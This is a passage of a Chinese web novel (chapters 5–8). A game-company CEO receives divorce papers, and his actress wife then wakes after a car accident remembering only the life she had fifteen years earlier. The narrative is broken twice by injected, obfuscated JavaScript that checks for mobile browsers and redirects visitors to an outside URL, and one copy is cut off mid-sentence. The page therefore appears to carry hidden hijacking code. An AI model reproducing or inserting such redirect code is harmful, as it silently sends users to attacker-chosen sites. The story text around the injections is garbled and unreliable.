整个奇技大厦六楼东侧都是他的私人区域,有办公室,游戏室,会议室,盥洗室还有休息室。 今天,宁君昊的办公区格外热闹。行政将会议室布置一新,桌上摆满了香槟和各种食物。 昨天晚上零点上线的最新款游戏《时光之烬》,不到十二个小时,在线玩家数量已经逼近七位数。奇技的几个部门负责人和负责游戏推广的营销公司代表,在宁君昊的私人会议室开香槟庆祝。 和宁君昊一样,几个高管最近也是天天加班到后半夜,但个个像打了鸡血般兴奋,连开三瓶香槟犹不尽兴。 宁君昊的大学师弟,跟他时间最长的周添如今担任奇技的COO。他递了满满一杯香槟给宁君昊:“老宁,终于可以睡个安稳觉了,今年大爆款提前预定。” 宁君昊平时极少饮酒,今天破例接过来,仰头喝了。其他部门高管见状,轮番上来跟他喝。 宋幼萱也端着酒杯过来,因为游戏上线的缘故,她今天特意穿了条红色旗袍,头发用玉质发簪盘了起来,妆也化得比平时浓。在一群不讲究穿着的技术男中间,显得犹为扎眼。 她回国后和朋友一起合创了游易,专攻国内外游戏推广和本地化。这是游易跟奇技的第一次合作,可以说是旗开得胜。她已经能想象接下来会有大波游戏公司找她合作。 作为游易的老总,宋幼萱此刻心情十分不错。她朝宁君昊举了举杯,含笑道:“Alex,恭喜。这么多年我一直为你骄傲。” 宁君昊扯了扯唇角:“Alex那都是多少年前的事了。我早不用洋名了。” 说罢,他举起酒杯跟她碰了碰:“这次能取得这样的成绩,你们游易也辛苦了。” 几句话瞬间把距离拉开了,前段时间一起开会,一起讨论方案的日子就这么被他抹掉了。宋幼萱的笑容僵在脸上。一旁周添见她脸色不对劲,忙拽着她和其他人喝酒。 会议室里人还兴奋着,宁君昊却有些兴味索然了,半阖着眼,靠着椅子上。 没过一会,秘书推门进来,“宁总,《游戏世界》的记者来了。” 宁君昊睁开眼:“让他等一下,我马上过去。” 他起身去洗手间洗了个脸,又换了件衬衫,才去见记者。 5. 第 5 章 奇技大厦刚落成不久,又加上《时光之烬》开门红,最近好多家媒体前来采访。 不过,宁君昊还是头一回在自己的办公室接待记者。 《游戏世界》派来的记者同时还是互联网上很有名气的游戏博主。他在宁君昊的办公室里等了好一会,那位传说中的北市游戏公司最帅老板才匆匆赶过来。 毕竟是有名气的记者,一上来抛出来的话题就很不客气,“宁总,您好。很荣幸在时光之烬上线之际采访您。我上个月刚采访完横峰网络CEO徐峻,徐总是出了名的素朴,办公室才区区40个平方。您这办公面积是他的10倍都不止——” 横峰网络因为前两年推出的爆款手游,市值飙升了好几倍,如今市值刚好是奇技的10倍。 记者这个问题不无嘲讽。 宁君昊并没有太把市值这个东西放在眼里。他们这一行有点特殊。钱来钱往,起起伏伏,一个爆款,足以让一家快完蛋的公司起死回生。一款失败的产品,也足以让一家风头正劲的公司关门歇业。 作为掌舵人,每天和蒙着眼睛高空走钢丝没区别。也因此,奇技推出的每款游戏,他都亲力亲为,严格把关。 面对记者略带挑衅的问题,宁君昊倒也不生气,淡然一笑:“徐峻是学金融出身的,连游戏怎么玩都不知道。他每天都在外头应酬喝酒,满脑子想的都是怎么多给横峰搞点钱。依我看他根本用不着办公室,40个平方对他来说都大了。” 说到这,他往后椅背上仰了仰,“不像我,搞技术的,又有点强迫症,方方面面都要抓,在办公室待的时间比家里还长。毫不夸张地说,这里比家更像我的家。” 记者笑容变得尴尬。像宁君昊这样普通家庭出身,白手起家,做到现在这个规模,确实有嚣张的本钱。 记者跟宁君昊聊完《时光之烬》的开发过程,又问起最近的奇技明年IPO的传闻。 宁君昊道:“目前还在内部评估和决策的阶段,如果有确切消息,我们会对外公布。” 记者看他似乎不欲多说,顺势将话题转到他的家庭生活。虽然宁君昊本人很低调,作为游戏行业里的人,多多少少都知道他妻子是当年颇有名气的影后应真。 “奇技投入这么高的成本在时光之烬上,您又特意将上线时间选在结婚纪念日当天上线,是不是意味着这款游戏是奇技这二十年来最重要的一款游戏?” 记者看着宁君昊,等着他的答案,却见他脸色有些僵硬,半晌才从牙缝里挤出一句话:“可以这么说。” 采访后半段,宁君昊有些不在状态。送走记者,他拿起手机想打个电话给应真。 难怪早上应真问他几点回家吃饭。他上个月跟她说了,结婚纪念日这天,回去陪她们母女吃饭。 这事说起来是他说话不算话。现在的他,并不会把这种事怪到自己头上。每天一睁眼,各种事情等着他决定,难免忘这忘那。 懊悔一闪而过,宁君昊开始生气。 他不记得,秘书应该提醒他。秘书每个月领薪水,就是干这个的。 宁君昊手机拿起来,又放下了,转而按了按面前的内线电话。 秘书推门进来:“宁总,您找我?” 前任秘书生孩子去了,这个秘书才到岗不到一个月。关键事情上掉链子,让他不得不怀疑他的工作能力。 宁君昊脸色很难看,语气更是不快:“是范秘书跟你没交接好,还是你工作不到位,我和我太太的结婚纪念日竟然不提醒我。” 新秘书是个大学毕业没多久的年轻小伙,当场脸色发白,张口结舌地解释:“这段时间游戏上线,事太多,我给忘了。” 宁君一满肚子火气,但重新招聘秘书也是需要时间的。他拿起桌上一本杂志,指了指封面女明星手上戴的手表,对秘书道:“你去商场帮我买这款手表,让他们用礼盒帮我包起来。我要送给我太太。” 打发走秘书,宁君昊便把这事放下了。不管怎么说,结婚纪念日他最后还是想起来了,买个钻石手表算是亡羊补牢。 两个小时后,秘书一手抱着一个文件袋,一手拎了个纸袋进来,“宁总,您让我买的手表我买了。这里还有一个您的快递,同城快递过来的。” 宁君昊接从纸袋里拿出表盒,打开看了一眼,实物比图片上更精致细巧,表盘四周和表链上镶满了钻石。他想象着应真手腕戴着它的样子,一定非常漂亮。 他终于露出一丝满意的笑容,吩咐秘书:“等会我要回家一趟,你让司机晚上七点半到我家来接我。你现在可以下班了,跟行政部一起过去。” 《时光之烬》的员工庆功宴在紫瀞湖度假村举办,庆功宴上不仅会发项目奖金,还安排了很多抽奖。各个部门的员工代表已经分批坐大巴前往度假村。 秘书的心早就飞过去了,不过还是多问了一句:“那您赶得上晚上八点半的开幕致词吗?” 宁君昊:“肯定来得及。” 老板语气笃定,秘书没再多问,领命而去。 宁君昊看了眼手机,这个点应真正在去接女儿的路上。等他开家到家,她们也差不多回来了。 应真是个温柔单纯的女人,心软得很。他只要说些自己很累很苦的话,她就心疼得不得了。到时候他拿出礼物,再说些哄她的话,她肯定就原谅他了。 宁君昊拎起纸袋准备先回一趟家,走之前想起来秘书刚才送进来的文件袋。他拿过来看了一眼,是个没听说过的律师事务所寄过来的。 他用裁纸刀把密封好的文件袋割开,抽出里头的文件。映入眼帘的“离婚协议书”几个字,让他脸色大变,有些不相信自己的眼睛。 宁君昊快速浏览了协议内容,应真让律师拟的协议书里,离婚原因就四个字:感情破裂。 翻到最后看到应真的签名,那熟悉的字迹和通红的手印,灼痛了他的眼,激得头皮一阵发麻。 脑中各种乱七八糟的画面涌上来,宁君昊大脑有短暂的空白,然而他很快镇定下来。 不,应真肯定不是真的想跟他离婚。一定不是。宁君还是有些难以置信,他拿起手机拨通应真的号码。 打了好几个都没人接。宁君昊再也坐不住,拿起车钥匙开车回家,半路又打了个电话给应真。那头终于接了,宁君昊憋了一肚子话想问。然而电话那头传来一个男人的声音,“您是应真的家属吧?我是西城中央门大队的交警,你妻子刚才发生了交通事故,现在人在第九人民医院,请您尽快过来一趟。” 宁君昊想问妻子情况怎么样,自称交警的人已经挂断了电话。他来不及思考,赶紧开车去医院。 * “应女士,我们已经和您的家人取得联系了,他很快就会过来。” 一个交警模样的人推门进来,打量着应真,用尽可能温和地语气安抚她,“根据您车上的行车记录仪和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄书韵有些无能狂怒,然而她话锋一转:“幸好,我身边也有很恩爱的夫妻,比如你和宁君昊。那天婚礼上,我看到宁君昊看你的眼神,这辈子啊,你都是他的女神!” 应真在演艺圈看过太多结婚又离婚的夫妻,她对婚姻很憧憬,却没什么信心。宁君昊是第一个让她鼓足勇气结婚的男人。 她含笑听着电话那头的闺蜜说着婚礼当天的盛况,突然一声巨响,她的身体不受控制地猛地向前一栽,下一秒她便失去了意识。 她醒来时,发现自己在医院,手腕上绑了绷带。医生告诉她,她刚经历了一场交通事故。肇事司机交警已经抓到了,让她不要担心。 应真坐在病床边总觉得有哪些不对劲。她身上的衣服太奇怪,完全想不起来自己什么时候买过这样的衣服。她早上出门分明穿的是条真丝连衣裙,还有脚上的鞋子。因为身高不够高,自从开始演戏,她极少穿平底鞋。 这倒底是怎么回事?! 接过护士递过来的检查单,她傻眼了,上面竟然也写着2024年9月15日。 她竟然莫名其妙到了十五年后!也就说她已经四十了! 她继续在手机里找线索。这年头的手机比她用的那只高档多了。而且人们好像也不发短信了,点开短信里头全是广告。通讯录里头有一半人是她认识的,还有一半她完全没印象。 应真拿着手机正研究,突然“哐”的一声,门被人用力推开,她抬头望过去。 6. 第 6 章 一个身形高大的男人推门进来,这么热的天,他穿着一身正装,像是要去参加宴会一般。 看到他的那一刻,应真再次意识到自己真的穿越了。 眼前的宁君昊身材一如既往,甚至更瘦削了几分,但眼角和嘴角的纹路骗不了人。他分明不年轻了。 明明早上起床的时候,还搂着她腻歪个没完,看她的眼神柔软极了。而此刻他那双黑眸里却溢满了冷淡、愤怒、紧张和一丝她看不懂的情绪。 他在生气。 应真刚才一直努力让自己冷静下来,看到宁君昊的这一刻压在心底的火气还是蹿了出来。 他在生气什么?受伤的明明是她。 早上出门的时候,他说他今天很忙,不一定有时间去接她。她很体贴地说今天杀青,最后一场戏,不确定几点结束,到时候她自己打车回家就行了。如果不是因为乘坐出租车,她兴许不会出交通事故,也不会一睁眼竟然来到十五年后,成了个四十岁的中年妇女。 宁君昊看到她手腕上的纱布,脸色变了:“老婆,你没事吧?” 他的声音不像年轻的时候那么清朗悦耳,多了几分成熟男人的低沉和磁性。 听到“老婆”两个字,应真抬头看了他一眼。刚才有一瞬间,她在想,都十几年了,也不知道他还是不是她丈夫。 如果他们俩已经不是夫妻了,交警把他喊过来,他又贵人事忙,倒还有那么一分生气的理由。 既然没离婚,她出车祸,交警打电话给他不是应该的吗?他生哪门子气? 应真抿唇站了起来,一双杏眼淡淡地落在他身上:“我没事。一点小擦伤,不要紧。” 人到中年的宁君昊貌变化不大,但整个人给她的感觉却完全不同,有种冷质的疏离感。 宁君昊正在询问医生妻子受伤情况,余光发现她一直在看着自己。他莫名觉得有些不对劲,一旁医生告诉他:“你妻子胳膊受了点伤,不严重,已经消毒过包扎好了。刚才我们做了脑部检查,没发现什么异常,但是她记忆似乎有点问题。还需要住院再做检查。” 宁君昊:“记忆出了问题?记忆哪里出了问题?” “您太太好像只记得十几年前的事。远期记忆清晰,近期记忆一片空白。” 宁君昊有些不相信自己的耳朵:“怎么会这样?” 医生正想解释,交警带着一个穿着浮夸的年轻小伙过来。那人就是肇事司机,车子是他找朋友借的。 年轻小伙原本还吊儿郎当的,他根本没把应真这个女司机放在眼里。看到病房里多了个气场强大的中年男人,像是女司机的丈夫。又扫到那男人手腕上价值不菲的手表,突然有些慌乱,前后不搭后语地讲述着事故过程。车子不是他的,是他找朋友借的。 “原,原本我跟她在不同车道,我看到一个女司机开着跟我同款的汽车。我忽然就想恶作剧吓吓她。我真的不是故意的,我就是一时冲动……” 小伙结结巴巴地说着事故原因。应真一脸茫然,仿佛在听别人的故事,她对这个肇事司机一点印象没有。 一旁的宁君昊脸色铁青:“出去说。” 他示意交警和肇事司机出去交涉。 十分钟后,宁君昊交涉完毕回来,已经恢复了惯常的冷静,开始询问医生住院的事宜。然而下一秒,他的袖子被人扯住,应真眼巴巴地看着他:“我身体好得很。我不要住院。我要回家。” * 从医院出来,应真跟在宁君昊身后头,打量着他的背影。 她记得他不爱穿正装,今天却穿得非常正式,头发显然也打理过了。他看上去比年轻的时候冷峻多了,一看就是长年身居高位养出来的。 从谈恋爱到结婚,他出席活动的衣服,都是她帮他挑的。宁君昊是典型的理工男思维,不会在穿着打扮上花费太多时间。他买衣服,一向只买贵的。在他看来的,贵的不会出错。 第一次约会,宁君昊穿了件很贴身的黑色T恤,胸前有很花哨的图案,就差在脖子上戴条金链子了。得亏他本身底子不错,英俊中带着一丝书卷气,才没穿成个暴发户。 两人结婚后,宁君昊就把自己穿衣打扮的事完全交给应真了。 “你这身衣服是谁帮你挑的?” 宁君昊脑子乱糟糟的,冷不丁听到应真问他,他低头看了眼身上的衣服,“我自己挑的。” 应真“哦”了一声,过了一会开口道:“看来和我结婚后,你的审美变好了。” 宁君昊:“……” 聪明如他一时竟不知怎么回。 应真自顾自地继续道:“刚才交警说联系上我家人,我在想,也不知道我们俩还是不是夫妻。要是离婚了,我在北市的家人就只有姨妈一家。看到你来了,我还挺高兴的,没想到我们竟然扛过了七年之庠,撑到了十五年……” 听到应真说到“离婚”,宁君昊薄唇紧抿着,一言不发。 话说到一半,应真觉得不对劲。一路上她说个没完,宁君昊一句话没说,成熟稳重得她不适应了。明明以前他才是话痨的那个。 应真闭上嘴巴,瞥了他一眼。 装啥深沉。 直到上车了,她看到副驾座位上的白色礼盒,宁君昊才开口。 “这是送给你的结婚纪念日礼物,我本来打算回去给你。” 应真打开盒子,里头是块钻石手表,小巧精致的表盘和表链上都镶嵌了钻石。 趁她在看手表的时候,宁君昊赶紧将文件袋收了起来,那里头装着应真让律师发给他的离婚协议书。 现在她记忆出了问题,绝对不能让她看到。 刚才宁君昊想了一路,他不能失去应真。而且公司即将上市,他的离婚状况绝对不能出问题。 现阶段,他根本听不得“离婚”两个字。 应真现在只记得十几年前的事,那是他们感情最好的时候。不管怎么说,离婚的事暂时搁置下来了。 宁君昊长舒一口气,感觉自己像个刚被宣告缓刑的犯人,有种劫后余生的感觉。 一旁的应真完全不知道他在想什么,她还沉浸在感动中。 “谢谢……这么多年,你还记得结婚纪念日。” 应真看着他,一双眼睛亮晶晶的,里面流淌着感动。 宁君昊有些不自在地转过头,嘴上道:“这不是应该的吗?这十几年,我们的感情一直很好。” 应真是个演员,对于微表情格外敏感,一个想法飞快地在脑海掠过,于是她脱口而出:“不对。你现在公司应该比刚结婚的时候规模大得多。像你这样的老板不管什么样的日子都有秘书提醒。这这手表不会也是你让秘书去买的吧?” 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直到车子经过老城区,看到那些民国留下的保护建筑,她才找到一丝熟悉的感觉。 应真正沉浸在回忆当中,手机响了,看着上面跳动着“宝贝”两个字,她愣了一下才反应过来,这是女儿打过来的。 刚才她翻过手机,里头有个宝贝的专属相册,是个女孩从刚出生到十来岁的照片。宁君昊也说他们有个十四岁的女孩,还给她看了照片,和她相册里是同一个。 一睁眼的工夫,她不仅老了十五岁,还成了一个十四岁女孩的妈。 应真接起电话,那头传来一个很不耐烦的声音:“妈,你怎么还没来?我都在门口等了好几分钟了。这么热的天,你是想热死我么?” 应真刚才组织好的语言瞬间卡在了喉咙里,她没跟这么大的孩子打过交道。但是听这口气,这孩子似乎有点没礼貌。 好在宁君昊把电话接了过去,“你妈妈在去接你的路上,出了点交通事故。我们刚从医院出来,现在去你学校至少还要半个小时,你自己打车回家吧。” 宁颐然不满地嘟囔:“还不是她不同意我打车回家!不然我也不用在大太阳底下等这么久!” 宁君昊眉头皱了起来,这次没站在女儿那边:“你妈妈不同意你打车回家,是因为她担心你的安全。今天特殊情况,你自己回家。” 他刚说完,那头就“啪”地挂断电话。 应真从他手里接过手机,“现在小孩打电话都没有结束语的吗?” 宁君昊眉头松开些,开始给她打预防针,“女儿今年十四岁了,在培华上初二,很聪明。就是现在青春期了,脾气不太好。她要是口无遮拦说了些伤人的话,你不要往心里去。” 应真耸了耸肩,一脸无所谓的表情:“我也是才知道自己有个女儿,跟她还没建立起感情。她说的话我肯定不会放在心里的。” 宁君昊犹豫了一下道:“你失忆这事,暂时不要告诉女儿,我怕她一时半会接受不了。” 应真点点头:“我也是这么想的。” 毕竟她穿越这件事实在古怪。医生和宁君昊都觉得她是失忆了,只有她自己知道她不是。但是现在,她也没办法解释啊。 既来之则安之,她还是那个她,一切就按照既有的轨道往下走吧。 7. 第 7 章 宁君昊把车子开到一个看上去很高档的小区,小区里头都是独门独户的别墅,每一家都有个精巧的院子和打理得很漂亮的花园。 沿着主干道一路向前,车子停在其中一栋房子前面。 “到了。就是这里。” 应真站在门口看着面前这栋托斯卡纳风格的别墅,莫名地觉得有点熟悉。 她跟在宁君昊后头:“这不是我们以前看过的那栋房子吧?” 婚后,她住在宁君昊市中心的房子里。两人嫌那里太吵,想找个幽静的小区买套房子。看了一圈,只看中一套。但应真嫌那栋房子面积太大,两人住那么大的房子太浪费了。 “我们看的时候这里还没盖好啊。刚才进来的时候,我差点没认出来。” 宁君昊“嗯”了一声:“后来你怀孕了,改主意了,想要大一点的房子,让宝宝有更多的活动空间。我就把这买下来了。” 从宁君昊嘴里说出“宝宝”两个字,应真莫名感觉怪怪的。她之所以这么早结婚,完全是出于对家庭的渴望。对她来说,结婚后应该尽快生孩子。宁君昊对孩子倒没那么渴望,两人聊起孩子的话题,他就两个字:随缘。 宁君昊走到门口,带有人脸识别功能的密码锁自动开了。 进屋后,穿过玄关,映入眼帘是干净得可以照出人影的宽敞大客厅。室内陈设井井有条,桌上摆放着鲜花,靠墙位置的水草缸干净透亮,蓝色的小鱼儿在里面悠闲地游来游去。 应真换上拖鞋,把刚脱下的运动鞋放进鞋柜。 打开鞋柜,她傻眼了,有些不相信自己的眼睛。这绝对不可能是她的鞋柜! 她又打开其它几扇柜门,除了两格是女儿的鞋子外,剩下的全是宁君昊的鞋子,运动鞋,休闲鞋,皮鞋,各种款式应有尽有。 应真:“怎么一双高跟鞋都没有?” 宁君昊:“生下然然后,你就很少穿高跟鞋了。你觉得带孩子穿高跟鞋不方便。” 应真觉得难以置信,瞪大眼睛看着他:“怎么可能?高跟鞋那可是我的命根子!” 她个头不高,全靠高跟鞋才不至于在美女如云的演艺圈被淹没。别说四十岁了,八十岁高跟鞋她都得穿着。 这世界没有谁能够让她放弃高跟鞋。孩子也不能。应真实在想不通自己是怎么突然放弃高跟鞋的。 “那我以前那些高跟鞋去哪了?” “被你扔到地下室了。” 应真松了口气,没扔掉就行,里面好多双高跟鞋她都很喜欢,绝版了,现在肯定买不到了。 她穿着拖鞋站在客厅中央,再次打量屋里陈设。说实话,她一点也没找到这是她生活了十几年的房子的感觉。 她喜欢温馨的灯光、实木地板和柔软的地毯。而这屋子的装修风格跟她的审美完全相佐。十几年的功夫,自己的审美变化这么大? 宁君昊带应真熟悉屋子,一楼、二楼、三楼,一间间房看过去。一楼主要是起居空间,二楼是女儿地盘,三楼则是夫妇俩的空间。书房和卧室门对门。卧室是个很大的套间。浴室、衣帽间和卧室一体。 书房也很大,有独立的卫卧。靠墙的一侧摆了张queen size的床。 应真看着那张床若有所思。楼下突然传来大门关上的声音。 她和宁君昊对视一眼,“是不是然然回来了?” 女儿叫宁颐然。她听宁君昊叫女儿然然,她便也这么叫。 宁君昊点头:“应该是。这几天你先适应一下。然然那边我来想办法。” …… 宁颐然今天比平时晚了一小时到家。一进家门就觉得不对劲,往常这个点妈妈晚饭早做好了。今天一楼一片漆黑,厨房里冷锅冷灶的,妈妈竟然没做晚饭。 肚子一饿,宁颐然脾气就不好。看着妈妈跟着爸爸从楼上下来,她皱着眉头道:“妈,晚饭呢?我饿死了。” 应真仔细端详着面前的女孩,这就是她跟宁君昊的女儿?细长的眼睛,高挺的鼻梁,眉眼十分肖似宁君昊,找不到任何自己的基因痕迹。 不仅长相,身高也遗传了宁君昊。十四岁,个头已经比应真高了。 女儿站在那儿,气鼓鼓地看着她。应真犯难了,这是责怪她没做晚饭么? 她那么想要孩子,一睁眼孩子已经这么大了,一时真说不上是什么心情。 面对女儿的质问,应真只能硬着头皮道:“我的手受伤了,这几天做不了饭。” 一旁的宁君昊开口道:“晚上我们点个外卖吧?披萨怎么样?” 宁颐然有些不相信自己的耳朵,看了一眼妈妈,最后话却是问爸爸的:“我妈不是不同意我吃外卖么?” 应真愣住:“不同意吃外卖?我为什么不同意啊?” 宁颐然看妈妈一脸无辜的模样,生气道:“你说外卖不健康,油多盐多,对身体不好。明明你自己说过的话,现在却在我和爸爸面前扮失忆……” 应真怔住,这孩子说话也太没礼貌了吧?她是她妈哎! 她用力掐了一把宁君昊的手,咬牙小声道:“这就是你说的乖巧懂事的女儿?!” 宁君昊听到“扮失忆”三个字脸色也沉了下来:“颐然,妈妈手受伤了,你应该多关心关心妈妈。今天晚上吃外卖,明天早上我让司机买早餐送过来。” “Green tea!” 宁颐然最近在学校学到一个词,觉得特适合形容她妈,于是气呼呼地说了句“绿茶”,便背着书包回自己房间了。 应真感觉女儿那句话是在说自己。她虽然英语水平不怎么样,也知道green tea是绿茶的意思。她问宁君昊:“她刚才说green tea是什么意思?” 宁君昊老脸一僵:“肯定是在学校跟同学学的什么网络词语。” …… 应真回来的第一晚,一家三口吃了顿披萨。 宁颐然本来想拿几块披萨到房间吃,被她爸一个严厉的眼神制止了。她只好留下来,坐在餐桌旁吃。平是妈妈不准她在外头吃洋快餐,说外面肉激素多,对她身 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一定是因为妈妈今天受了点伤,爸爸才勉为其难地咽下她吃过的食物。也因为受伤了,她妈今天晚上话特别少。 她连吃三块披萨三个鸡翅,妈妈都一句话没说。这要换作以前,妈妈早就唠叨个没完,让她多吃点蔬菜。 今天的晚餐异常安静,安静得宁颐然受不了了,谁能她有话要说,只能由她来打破沉默:“爸,我妈受伤了。明天家长会要不你去吧。” 从上小学开始,宁颐然的家长会都是她妈出席。不只她,班上绝大多数同学都是妈妈出席。只是那些同学的妈妈个个学历优越,职业光鲜。不像她妈妈,除了年轻的时候长得还不行,没啥拿得出手的。 宁君昊平时很少管女儿的事,他根本不知道家长会这档子事。应真更不可能知道,她转过头看着宁君昊。 宁君昊拿起纸巾擦了把嘴:“家长会我也很想去,但是明天公司里有个很重要的接待。我必须出席。” 明天北市一把手要来奇技参访,需要他亲自接待。 宁颐然小脸垮了下来,撅着嘴嘟囔:“我就知道。” 餐桌上再次安静下来。 应真看了看丈夫,又看了看女儿,“明天我去吧。” 宁颐然瞬间没了胃口:“我吃饱了。” 起身离开餐厅的时候,她竟然看到爸爸的手紧紧覆在妈妈的手上,而妈妈竟然任由爸爸那么握着。 ???? 宁颐然一头懵地回到自己的房间。从她记事起,妈妈好像就很回避在她面前跟爸爸有肢体接触。最近妈妈甚至都很少跟爸爸有眼神接触。 难道两人背着她吵了一架?又背着她和好了? 这一晚,宁颐然在自己房间写作业。她竖着耳朵,一直关注着门外的动静。 太安静了。妈妈没有像往常一样端着蜂蜜水和切好的水果,敲她的房门。 宁颐然就像那个等着靴子落地的人,一颗心吊在那儿,最后昏昏沉沉地睡着了。 8. 第 8 章 这一晚,应真洗澡的时间比任何一次都长。 洗好后,她没着急穿衣服,而是光着身子站在镜子前打量着自己的身体。 她的胸部似乎比以前更大了,但是形状没有以前好看。可能是因为哺育过孩子的缘故,有些下垂。 应真上手捏了捏,怎么说呢,四十岁的胸部自然是没法跟二十五岁的时候相比的。 幸好这些年她的皮肤保养得不错,一如年轻那般光洁细腻。应真的目光沿着胸部一路向下,便看到下腹部那道疤。 原来,自己也是剖腹产的。 表姐田佳蕙生产的时候,应真曾经去医院看过她。 田佳蕙从小身体就很好,血气充沛。剖腹产后躺在病房上,脸上却一点血色都没有。 应真问她感觉还好吗。 田佳蕙指了指自己的肚子:“我一醒来感觉自己像是被废了武功一样。生孩子划拉这一刀,身体里那点子真气全被放空了。我现在气虚得跟你说话都喘。” 后来外甥女满月,应真又去看了她们母女一次。那时候表姐的气色看上去好多了,她掀起衣服给应真看自己肚子上的疤痕。 剖腹产的伤口才愈合,疤痕还是粉红色的。 “你知道剖腹产要缝几层吗?从子宫到皮肤整整七层!” 田佳蕙掰着手指告诉她是哪七层,应真听得很害怕。 谁能想到,结婚一年后,她和宁君昊的女儿就出生了,也是剖腹产。 宁君昊刚才告诉她,然然还未出生,她就宝贝得跟眼珠子似的。他还说,没见过比她更称职的母亲。 宁君昊说这些的时候,语气透着一丝酸,说她满心满眼全是女儿,他这个丈夫经常被忽略。 真的是这样么?说实话,她虽然渴望孩子,但想象不出自己给人当妈的样子。 …… 应真低下头,右手食指轻轻触碰着自己肚子上那道疤。传说中的比基尼切口,位置很低,哪怕穿三点式比基尼也看不到。 毕竟十几年了,那道疤痕已经如鱼线般浅细,看上去并不可怖。但应真还是真切地感受了到了生育在这个身体上留下的痕迹。 梳妆台上摆着她年轻的时候就爱用的护肤品,只不过产品线全换成了抗老功能的。 应真严格地遵照护肤流程一层层地往脸上涂抹护肤品。她脸上的皮肤也保养得不错,除了眼角嘴角多了几道细纹,唇色比以前黯淡,没有别的问题。 应真对着镜子细细地涂抹眼霜,又往嘴角附近多涂了些抗皱面霜。 她从浴室出来,卧室里没人,宁君昊不在。 * 应真推门进来的时候,宁君昊正在书房给秘书打电话。晚上的庆功宴,他去不了,周添代他发表开幕致辞。 看到应真进来,他跟电话那头说了句“让司机明天早上七点开车过来接我”,便挂断电话。 他表情和语气都很冷淡,看到应真的那一瞬,眼神柔和了些许。 这一天下来,各种乱七八糟的事,应真感觉已经超出她能应对的极限了。此刻,她只想像个驼鸟一样,什么都不去想。 和女儿尚未建立起情感链接,在这个世界宁君昊是她最亲的人。 她才不管呢!不管宁君昊是三十还是四十,他就是她新婚一个月的丈夫! 于是,她像以前一样紧紧搂着宁君昊,将脸埋在他的胸口,诉说着自己的委屈:“都怪你!你说你忙,没时间来接我。我拍完戏从剧组打车回家,路上车子不知道撞哪了,然而一睁眼就发现自己老了十几岁……我现在又老又丑,胸部也变形了,肚子上还有一道难看的疤!我明明才二十五岁,我还没年轻够,就变老了……” 浴室的热气氤氲得应真原本素净的脸色一片粉红,她越说越激动,“你们都说我是失忆了,其实根本不是!” 宁君昊极少看到她情绪如此失控,他伸手将她揽进怀里,轻轻拍了拍她的后背,用他都未察觉出来的温柔语气道:“不管你是失忆了,还是什么别的原因,你始终都是我老婆。” 应真闻到他身上熟悉的气息。这么多年,他还在用以前她送他的香水。 她心神稍定,气呼呼地推开他,“你少来了。连结婚纪念日都想不起来,连礼物都要秘书帮你去买。我看啊,我们感情也好不到哪去。” 宁君昊已经想不起来妻子上次像现在这样不加掩饰地向他发脾气了是什么时候了。她那张素来冷淡的脸因为生气和委屈,而显得格外生动。 如今的他早已经修炼得即便被说中了,也面不改色心不跳。他含笑地抱着应真:“你别胡思乱想了,我们的感情好得很。” 这一晚,宁君昊原本像以前一样,和应真分房睡。但年轻的应真刚回来,似乎对他格外依恋。 应真现在看宁君昊,还带着新婚的滤镜,闻着他身上熟悉的气息,她有些晕乎。两只胳膊勾住他的脖子,在他的脸颊上亲了一口。 亲完之下,她没好意思看他,将脸埋在他的胸口,心里有些发酸。 眼前的宁君昊终究不是那个每天跟她亲亲抱抱举高高的男人了。 “今天在医院,你干嘛那么凶啊?看你气呼呼地推门进来,我还以为我们离婚了。” 她怕他像白天那样跟她摆总裁架子,将脸贴在他胸口,两只胳膊转而紧紧搂着他的腰。 宁君昊听到“离婚”两个字眼里闪过一丝阴翳,声音有些发紧:“你别乱说。” 应真感觉到他胸腔地震动。很快她的肩被他轻轻推开,他目光沉沉地看着她,漆黑的瞳仁是浓得化不开的墨色。 下一秒,应真的唇就被堵上了。熟悉的气息侵占了她的感官,唇齿间的缠绵让她这一天搅得乱七八糟的心神一点点归位。 然而没多久,她便呜咽着推开宁君昊,有些羞恼地瞪着他:“宁君昊,你现在技术还不如年轻的时候!” 宁君昊呼吸有些不稳,那双淡漠的眼睛终于有了一丝笑意。 他抹了把唇,根本不敢告诉她,他已经有好几年没有尝过她嘴巴的味道了,都快想不起来接吻是什么滋味。 不知道从什么时候开始,应真在回避亲吻这件事。每次他凑近想吻她的时候,她都找各种理由避开。 久而久求,他也不再向她索吻了。女儿一天天长大,他工作繁忙,一年到头夫妻同房次数也屈指可数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060845|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然而眼前的应真记忆还停在他们新婚蜜月期,她钻进他的被窝,便开始脱他的衣服。 应真这会只有一个念头,睡了他,通过身体的接触才能找到更一步的证据:眼前这个宁君昊,就是她的宁君昊。 应真骑在他身上,开始扯他裤子。她的长发披散下来,在他的胸膛上轻轻拂过,宁君昊的身体不由自主地紧崩起来。 这滋味,真的很难用言语形容。 应真的睡袍早已经散开了。宁君昊这才注意她裹在睡袍里的身体不着寸缕。 要说没有那方面想法,那他肯定不是男人。不过即便再意动他还是控制住了自己。 他今天真没想干什么,尤其在应真失忆的情况。 宁君昊下意识地有些心虚和害怕。万一到时候应真恢复了记忆,知道她都提离婚了,他还趁着她失忆了,跟她睡了又睡。以她的脾气,这辈子估计都要给他判死刑了。 应真从来没有像今天这样主动,后背都沁出汗了,面前的男人还是纹丝不动,一股挫败油然而生。难道像黄书韵说的,中年夫妻对彼此的身体过于熟悉,以至于毫无冲动。 可是她才结婚一个月啊,她还没到性冷淡的年纪,宁君昊却开始不行了。 “男人上了年纪就是不行!明明谈恋爱时候,牵个手都冲动得不行!” 